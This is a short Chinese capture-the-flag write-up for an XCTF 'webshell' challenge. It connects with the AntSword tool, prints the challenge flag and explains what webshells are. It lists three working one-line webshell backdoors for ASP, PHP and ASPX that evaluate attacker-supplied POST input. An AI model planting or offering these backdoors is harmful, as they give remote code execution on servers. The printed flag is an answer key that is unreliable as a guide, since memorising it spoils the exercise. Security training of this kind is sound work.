【愚公系列】2021年12月 攻防世界-简单题-WEB-010(webshell)
2021/12/26 7:07:42
本文主要是介绍【愚公系列】2021年12月 攻防世界-简单题-WEB-010(webshell),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
文章目录
- 一、webshell
- 二、使用步骤
- 1.点击获取在线场景
- 2.webshell
- 总结
- webshell相关例子
- webshell相关工具
一、webshell
题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=0&page=1
二、使用步骤
1.点击获取在线场景
2.webshell
进入网页
上中国蚁剑
发现flag:cyberpeace{250cf53b93cb75f6a7b240b28d94397f}
总结
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作命令。webshell主要用于网站和服务器管理,由于其便利性和功能强大,被特别修改后的webshell也被部分人当作网站后门工具使用。
webshell相关例子
asp一句话木马:
<%execute(request("value"))%>
php一句话webshell:
<?php @eval($_POST[value]);?>
aspx一句话webshell:
<%@ Page Language="Jscript"%> <%eval(Request.Item["value"])%>
webshell相关工具
- 中国菜刀
- 中国蚁剑
这篇关于【愚公系列】2021年12月 攻防世界-简单题-WEB-010(webshell)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-05-15鸿蒙生态设备数量超8亿台
- 2024-05-13TiDB + ES:转转业财系统亿级数据存储优化实践
- 2024-05-09“2024鸿蒙零基础快速实战-仿抖音App开发(ArkTS版)”实战课程已上线
- 2024-05-09聊聊如何通过arthas-tunnel-server来远程管理所有需要arthas监控的应用
- 2024-05-09log4j2这么配就对了
- 2024-05-09nginx修改Content-Type
- 2024-05-09Redis多数据源,看这篇就够了
- 2024-05-09Google Chrome驱动程序 124.0.6367.62(正式版本)去哪下载?
- 2024-05-09有没有大佬知道这种数据应该怎么抓取呀?
- 2024-05-09这种运行结果里的10.100000001,怎么能最快改成10.1?